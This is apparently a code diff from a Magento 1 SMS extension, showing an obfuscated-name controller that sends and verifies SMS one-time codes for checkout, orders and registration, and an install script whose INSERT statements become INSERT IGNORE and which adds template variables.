'checkoutCustomerOTP') ->addFieldToFilter('lang', array_map('strtolower', explode('_', $i7137e40370cf1c5ccf937060891613788203e2d6))); } if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'checkoutCustomerOTP') ->addFieldToFilter('lang', 'en'); } if ($idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $idb618c56be2c8abc9a54a16881dadfd5317ba624->getFirstItem(); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()) $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setTemplate2($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()); $i5e65dd16263683749d16a84171f719e768ed14b5 = new Varien_Object(array('code' => $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code'))); $i24273814df383b4a6926acc1db1a788b12f5a411 = Mage::getModel('magesms/hooks')->prepareText($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getTemplate2(), 'checkoutCustomerOTP', $i5e65dd16263683749d16a84171f719e768ed14b5); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i24273814df383b4a6926acc1db1a788b12f5a411) ->setSubject('checkoutCustomerOTP') ->addRecipient($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('smsnumber'), array('country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()) { $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName('checkoutCustomerOTP'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNext(true); } } elseif ($i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('code')) { if ($id3e549697752385571e09ffe4add9278d2d6923b = $i628d8ebfdcd1b4d13c7bb90cffb2f53678d994d2->getParam('code')) { if ($i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time() - Mage::getStoreConfig('magesms/smsvalid/code_lifetime')) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Code expired')); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setExpired(true); } elseif ($id3e549697752385571e09ffe4add9278d2d6923b == $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setValidate(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setCheckout(true); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } else { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Wrong OTP code')); } } } if (is_object($i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f)) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile('+'.$i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); } else { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile($this->getRequest()->getParam('smsmobile')); } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i8ee45e0018a32fb1a855b82624506e35789cc4d2->toHtml()); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function orderAction() { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e = new Varien_Object(); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(false); $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->createBlock('Topefekt_Magesms_Block_Validate_Customer'); $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); $if506786cc1cb35bcbc32166723b30959581284aa = Mage::getSingleton('checkout/type_onepage')->getQuote(); $i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18 = Mage::getSingleton('magesms/smsprofile'); if (!$i6abff7c4dab2aa28578ae1dc49699ba6b1d18c18->user->getPrefbilling()) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $if506786cc1cb35bcbc32166723b30959581284aa->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $if506786cc1cb35bcbc32166723b30959581284aa->getBillingAddress()->getCountryId(); if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $if506786cc1cb35bcbc32166723b30959581284aa->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $if506786cc1cb35bcbc32166723b30959581284aa->getShippingAddress()->getCountryId(); } } else { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $if506786cc1cb35bcbc32166723b30959581284aa->getShippingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $if506786cc1cb35bcbc32166723b30959581284aa->getShippingAddress()->getCountryId(); if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) { $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = $if506786cc1cb35bcbc32166723b30959581284aa->getBillingAddress()->getTelephone(); $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = $if506786cc1cb35bcbc32166723b30959581284aa->getBillingAddress()->getCountryId(); } } if (empty($i1f1945594819c4321de45ac15ed6d4dc07f41e2f) || !preg_match('/^[0-9+()\/\.\s-]+$/', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f)) $i1f1945594819c4321de45ac15ed6d4dc07f41e2f = ''; if ($i1f1945594819c4321de45ac15ed6d4dc07f41e2f && !$this->getRequest()->getParam('code')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_code', Mage::helper('magesms')->getOtpRandCode()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', false); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i1f1945594819c4321de45ac15ed6d4dc07f41e2f); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setIsFrontOffice(true); if (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; if (empty($idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66);; $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('name', 'newOrderOTP') ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'newOrderOTP') ->addFieldToFilter('lang', array_map('strtolower', explode('_', $i7137e40370cf1c5ccf937060891613788203e2d6))); } if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'newOrderOTP') ->addFieldToFilter('lang', 'en'); } if ($idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $idb618c56be2c8abc9a54a16881dadfd5317ba624->getFirstItem(); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()) $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setTemplate2($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()); $i5e65dd16263683749d16a84171f719e768ed14b5 = new Varien_Object(array('code' => $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code'))); $i24273814df383b4a6926acc1db1a788b12f5a411 = Mage::getModel('magesms/hooks')->prepareText($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getTemplate2(), 'newOrderOTP', $i5e65dd16263683749d16a84171f719e768ed14b5); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i24273814df383b4a6926acc1db1a788b12f5a411) ->setSubject('newOrderOTP') ->addRecipient($i1f1945594819c4321de45ac15ed6d4dc07f41e2f, array('country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b, 'recipient' => $if506786cc1cb35bcbc32166723b30959581284aa->getCustomerFirstname().' '.$if506786cc1cb35bcbc32166723b30959581284aa->getCustomerLastname())) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()) { $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName('newOrderOTP'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNext(true); } } elseif ($id3e549697752385571e09ffe4add9278d2d6923b = $this->getRequest()->getParam('code')) { if ($i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time() - Mage::getStoreConfig('magesms/smsvalid/code_lifetime')) { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Code expired')); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setExpired(true); } elseif ($id3e549697752385571e09ffe4add9278d2d6923b == $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setValidate(true); $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setOrder(true); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } else { $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setError(Mage::helper('magesms')->__('Wrong OTP code')); } } if (is_object($i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f)) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile('+'.$i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); } else { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setSmsmobile($i1f1945594819c4321de45ac15ed6d4dc07f41e2f); } $ia1a238c1f12f3901520c7ca55efa646e471f7f6e->setHtml($i8ee45e0018a32fb1a855b82624506e35789cc4d2->toHtml()); $this->getResponse()->setBody($ia1a238c1f12f3901520c7ca55efa646e471f7f6e->toJson()); } public function mobileAction() { if (!Mage::helper('magesms')->isActive()) return $this; if (Mage::helper('magesms')->getOtpCustomerType() != 1) { $this->_redirect('customer/account/create'); return $this; } $if3b1e2c1706de4c1bca112c669caba3a0420b880 = ''; if ($this->getRequest()->isPost()) { $i0e3e80cee9c51f140b823db0b7df66493acca657 = Mage::getSingleton('customer/session'); if (!$i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code') || ($this->getRequest()->getParam('mobile') && !$this->getRequest()->getParam('code')) || $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time()-Mage::getStoreConfig('magesms/smsvalid/session_lifetime')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_code', Mage::helper('magesms')->getOtpRandCode()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', false); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', ''); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } if ($id3e549697752385571e09ffe4add9278d2d6923b = $this->getRequest()->getParam('code')) { if ($i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_time') <= time()-Mage::getStoreConfig('magesms/smsvalid/code_lifetime')) { $this->getLayout()->getMessagesBlock()->addError(Mage::helper('magesms')->__('Code expired')); $this->_redirect('*/*/*'); } elseif ($id3e549697752385571e09ffe4add9278d2d6923b == $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code')) { $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate', true); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_mobile', $this->getRequest()->getParam('mobile')); $this->_redirect('customer/account/create'); return $this; } else { $if3b1e2c1706de4c1bca112c669caba3a0420b880 = Mage::helper('magesms')->__('Wrong OTP code'); } } else { $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f = Mage::getModel('magesms/sms'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setIsFrontOffice(true); if (Mage::app()->getStore()) $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = Mage::app()->getStore()->getStoreId(); else $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66 = null; $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b = Mage::getStoreConfig('general/country/default', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66);; $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks_customers')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('mutation', Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66)); if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $i7137e40370cf1c5ccf937060891613788203e2d6 = Mage::getStoreConfig('general/locale/code', $i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('lang', array_map('strtolower', explode('_', $i7137e40370cf1c5ccf937060891613788203e2d6))); } if (!$idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $idb618c56be2c8abc9a54a16881dadfd5317ba624 = Mage::getSingleton('magesms/hooks')->getCollection() ->addFieldToFilter('name', 'customerRegisterOTP') ->addFieldToFilter('lang', 'en'); } if ($idb618c56be2c8abc9a54a16881dadfd5317ba624->count()) { $iefc930e6dfdf3023610ed7d663c73d176a7544e0 = $idb618c56be2c8abc9a54a16881dadfd5317ba624->getFirstItem(); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()) $iefc930e6dfdf3023610ed7d663c73d176a7544e0->setTemplate2($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getSmstext()); $i5e65dd16263683749d16a84171f719e768ed14b5 = new Varien_Object(array('code' => $i0e3e80cee9c51f140b823db0b7df66493acca657->getData('magesms_validate_code'))); $i24273814df383b4a6926acc1db1a788b12f5a411 = Mage::getModel('magesms/hooks')->prepareText($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getTemplate2(), 'customerRegisterOTP', $i5e65dd16263683749d16a84171f719e768ed14b5); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setMessage($i24273814df383b4a6926acc1db1a788b12f5a411) ->setSubject('customerRegisterOTP') ->addRecipient($this->getRequest()->getParam('mobile'), array('country' => $idcde4f5fb5532c8e634fa3aa4c7ce182a046d76b)) ->setType(Topefekt_Magesms_Model_Sms::TYPE_CUSTOMER) ->setPriority(true) ->setStoreId($i3bf172bc34c83f4a18624b192bc0bd7c4d647a66); if ($iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()) { $if2014d170e15e7f6f64523fd3238720980ceb64a = Mage::getSingleton('magesms/hooks_unicode')->getCollection() ->addFieldToFilter('type', 'customer') ->addFieldToFilter('area', $iefc930e6dfdf3023610ed7d663c73d176a7544e0->getMutation()); if ($if2014d170e15e7f6f64523fd3238720980ceb64a->count()) { $ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd = $if2014d170e15e7f6f64523fd3238720980ceb64a->getFirstItem(); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setUnicode($ie8d90f6313614fbb6564426c0b0cb59a0ca4cecd->getUnicode()); } } $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->setHookName('customerRegisterOTP'); $i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->send(); $i0e3e80cee9c51f140b823db0b7df66493acca657->setData('magesms_validate_time', time()); } } } $this->loadLayout(); $this->_initLayoutMessages('customer/session'); $this->_initLayoutMessages('catalog/session'); if ($if3b1e2c1706de4c1bca112c669caba3a0420b880) $this->getLayout()->getMessagesBlock()->addError($if3b1e2c1706de4c1bca112c669caba3a0420b880); if ($this->getRequest()->isPost() && Mage::getSingleton('core/session')->getMessages()->getLastAddedMessage() instanceof Mage_Core_Model_Message_Success ) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2 = $this->getLayout()->getBlock('magesms_validate_mobile'); $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setNext(true); if (is_object($i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f)) { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMobile('+'.$i2012325f8714e1168a6c4fd06b9fa8eee23fcc7f->getRecipient()->getFirstItem()->getFinalNumber()); } else { $i8ee45e0018a32fb1a855b82624506e35789cc4d2->setMobile($this->getRequest()->getParam('mobile')); } } $this->renderLayout(); } }
app/code/community/Topefekt/Magesms/data/magesms_setup/data-install-1.0.0.php CHANGED
@@ -10,11 +10,11 @@
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
- * @copyright Copyright (c) 2012-2015 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
- INSERT INTO {$this->getTable('magesms_country')} (`name`, `vat`, `currency`) VALUES
18
  ('Albania', 0, 'EUR'), ('Algeria', 0, 'EUR'), ('Angola', 0, 'EUR'), ('Argentina', 0, 'EUR'), ('Armenia', 0, 'EUR'),
19
  ('Australia', 0, 'EUR'), ('Austria', 1, 'EUR'), ('Azerbaijan', 0, 'EUR'), ('Bahrain', 0, 'EUR'), ('Bangladesh', 0, 'EUR'),
20
  ('Belarus', 0, 'EUR'), ('Belgium', 1, 'EUR'), ('Belize', 0, 'EUR'), ('Bhutan', 0, 'EUR'), ('Bolivia', 0, 'EUR'),
@@ -144,7 +144,7 @@ INSERT INTO {$this->getTable('magesms_country')} (`name`, `vat`, `currency`) VAL
144
  ('Yemen', 0, 'EUR'),
145
  ('Zimbabwe', 0, 'EUR');
146
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
147
- INSERT INTO {$this->getTable('magesms_country_area')} (`country_name`, `area`) VALUES
148
  ('Czech Republic', 420),
149
  ('Slovak Republic', 421),
150
  ('Argentina', 54),
@@ -293,7 +293,7 @@ INSERT INTO {$this->getTable('magesms_country_area')} (`country_name`, `area`) V
293
  ('Philippines', 63),
294
  ('China', 86);
295
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
296
- INSERT INTO {$this->getTable('magesms_country_lang')} (`country_name`, `lang`, `iso2`) VALUES
297
  ('Albania', 'sq', 'en'),
298
  ('Algeria', 'ar-dz', 'en'),
299
  ('Angola', 'kj', 'en'),
@@ -628,7 +628,7 @@ INSERT INTO {$this->getTable('magesms_hooks')} (`name`, `info`, `owner`, `group`
628
  ('productLowStock', 'Ürün stokta yok', 3, 3, '', '', 'Bu ürün stokta bitmek üzere, id: {product_id}, ref: {product_ref}, isim: {product_name}, mevcut miktar: {product_quantity}. Bilgilendirme {shop_name}.', '', '{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{product_id}, {product_quantity}, {product_name}, {product_ref}, {product_supplier_ref}, {product_ean13}, {product_upc}, {product_supplier_id}, {product_supplier}', 'tr'),
629
  ('productLowStock', 'Este artigo não está em estoque', 3, 3, '', '', 'Este artigo está a acabar-se em estoque, id: {product_id}, ref: {product_ref}, nome: {product_name}, quantidade: {product_quantity}. Informações de {shop_name}.', '', '{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{product_id}, {product_quantity}, {product_name}, {product_ref}, {product_supplier_ref}, {product_ean13}, {product_upc}, {product_supplier_id}, {product_supplier}', 'pt');
630
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
631
- INSERT INTO {$this->getTable('magesms_maps')} (`area`, `number`) VALUES
632
  (1, 9),(1, 10),(7, 10),(7, 10),(7, 10),(20, 9),(27, 6),(27, 7),(27, 8),(27, 9),(27, 10),(27, 11),(27, 12),
633
  (30, 10),(31, 9),(32, 9),(33, 9),(34, 9),(36, 9),(39, 10),(40, 9),(41, 9),(43, 10),(43, 11),(44, 10),(44, 10),(45, 8),
634
  (45, 8),(46, 9),(47, 8),(48, 9),(48, 9),(48, 9),(49,10),(49, 11),(51, 10),(51, 11),(52, 10),(53, 7),(53, 8),(53, 9),
@@ -650,7 +650,7 @@ INSERT INTO {$this->getTable('magesms_maps')} (`area`, `number`) VALUES
650
  (966, 9),(967, 9),(968, 8),(971, 9),(972, 9),(973, 8),(973, 8),(974, 7),(974, 7),(975, 8),(976, 8),(977, 9),
651
  (992, 9),(993, 8),(994, 9),(995, 8),(996,9),(998, 9);
652
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
653
- INSERT INTO {$this->getTable('magesms_variables')} (`name`, `template`, `translate`) VALUES
654
  ('order_id', '000054', 0),
655
  ('order_reference', 'REF000054', 0),
656
  ('order_payment', 'Bank wire', 1),
@@ -731,5 +731,12 @@ INSERT INTO {$this->getTable('magesms_variables')} (`name`, `template`, `transla
731
  ('customer_message_short2', 'test message - max 100 chars', 1),
732
  ('customer_message_short3', 'test message - max 80 chars', 1),
733
  ('total_paid', '464', 0),
734
- ('customer_name', 'John DOE', 0);
735
- "); if ($i593f9fb6306ab4cdb862f1ef6769504d63647c90 = Mage::helper('magesms')->detectLang(true)) { Mage::getModel('core/config')->saveConfig('magesms/template/language', $i593f9fb6306ab4cdb862f1ef6769504d63647c90); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); } if (!Mage::getStoreConfig('magesms/appId')) { Mage::getModel('core/config')->saveConfig('magesms/appId', 'ms'.rand(1000000,90000000)); Mage::getConfig()->reinit(); Mage::app()->reinitStores(); }
 
 
 
 
 
 
 
10
  *
11
  * @category TOPefekt
12
  * @package TOPefekt_Magesms
13
+ * @copyright Copyright (c) 2012-2017 TOPefekt s.r.o. (http://www.mage-sms.com)
14
  * @license http://opensource.org/licenses/BSD-3-Clause
15
  */
16
  $iddb18dc4afa6663cf07a52c741943ff87cbe3896 = $this; $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
17
+ INSERT IGNORE INTO {$this->getTable('magesms_country')} (`name`, `vat`, `currency`) VALUES
18
  ('Albania', 0, 'EUR'), ('Algeria', 0, 'EUR'), ('Angola', 0, 'EUR'), ('Argentina', 0, 'EUR'), ('Armenia', 0, 'EUR'),
19
  ('Australia', 0, 'EUR'), ('Austria', 1, 'EUR'), ('Azerbaijan', 0, 'EUR'), ('Bahrain', 0, 'EUR'), ('Bangladesh', 0, 'EUR'),
20
  ('Belarus', 0, 'EUR'), ('Belgium', 1, 'EUR'), ('Belize', 0, 'EUR'), ('Bhutan', 0, 'EUR'), ('Bolivia', 0, 'EUR'),
144
  ('Yemen', 0, 'EUR'),
145
  ('Zimbabwe', 0, 'EUR');
146
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
147
+ INSERT IGNORE INTO {$this->getTable('magesms_country_area')} (`country_name`, `area`) VALUES
148
  ('Czech Republic', 420),
149
  ('Slovak Republic', 421),
150
  ('Argentina', 54),
293
  ('Philippines', 63),
294
  ('China', 86);
295
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
296
+ INSERT IGNORE INTO {$this->getTable('magesms_country_lang')} (`country_name`, `lang`, `iso2`) VALUES
297
  ('Albania', 'sq', 'en'),
298
  ('Algeria', 'ar-dz', 'en'),
299
  ('Angola', 'kj', 'en'),
628
  ('productLowStock', 'Ürün stokta yok', 3, 3, '', '', 'Bu ürün stokta bitmek üzere, id: {product_id}, ref: {product_ref}, isim: {product_name}, mevcut miktar: {product_quantity}. Bilgilendirme {shop_name}.', '', '{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{product_id}, {product_quantity}, {product_name}, {product_ref}, {product_supplier_ref}, {product_ean13}, {product_upc}, {product_supplier_id}, {product_supplier}', 'tr'),
629
  ('productLowStock', 'Este artigo não está em estoque', 3, 3, '', '', 'Este artigo está a acabar-se em estoque, id: {product_id}, ref: {product_ref}, nome: {product_name}, quantidade: {product_quantity}. Informações de {shop_name}.', '', '{shop_domain}, {shop_name}, {shop_email}, {shop_phone}<br /><br />{customer_id}, {customer_email}, {customer_lastname}, {customer_firstname}<br /><br />{product_id}, {product_quantity}, {product_name}, {product_ref}, {product_supplier_ref}, {product_ean13}, {product_upc}, {product_supplier_id}, {product_supplier}', 'pt');
630
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
631
+ INSERT IGNORE INTO {$this->getTable('magesms_maps')} (`area`, `number`) VALUES
632
  (1, 9),(1, 10),(7, 10),(7, 10),(7, 10),(20, 9),(27, 6),(27, 7),(27, 8),(27, 9),(27, 10),(27, 11),(27, 12),
633
  (30, 10),(31, 9),(32, 9),(33, 9),(34, 9),(36, 9),(39, 10),(40, 9),(41, 9),(43, 10),(43, 11),(44, 10),(44, 10),(45, 8),
634
  (45, 8),(46, 9),(47, 8),(48, 9),(48, 9),(48, 9),(49,10),(49, 11),(51, 10),(51, 11),(52, 10),(53, 7),(53, 8),(53, 9),
650
  (966, 9),(967, 9),(968, 8),(971, 9),(972, 9),(973, 8),(973, 8),(974, 7),(974, 7),(975, 8),(976, 8),(977, 9),
651
  (992, 9),(993, 8),(994, 9),(995, 8),(996,9),(998, 9);
652
  "); $iddb18dc4afa6663cf07a52c741943ff87cbe3896->run("
653
+ INSERT IGNORE INTO {$this->getTable('magesms_variables')} (`name`, `template`, `translate`) VALUES
654
  ('order_id', '000054', 0),
655
  ('order_reference', 'REF000054', 0),
656
  ('order_payment', 'Bank wire', 1),
731
  ('customer_message_short2', 'test message - max 100 chars', 1),
732
  ('customer_message_short3', 'test message - max 80 chars', 1),
733
  ('total_paid', '464', 0),
734
+ ('customer_name', 'John DOE', 0),
735
+ ('customer_password', '********', 0),
736
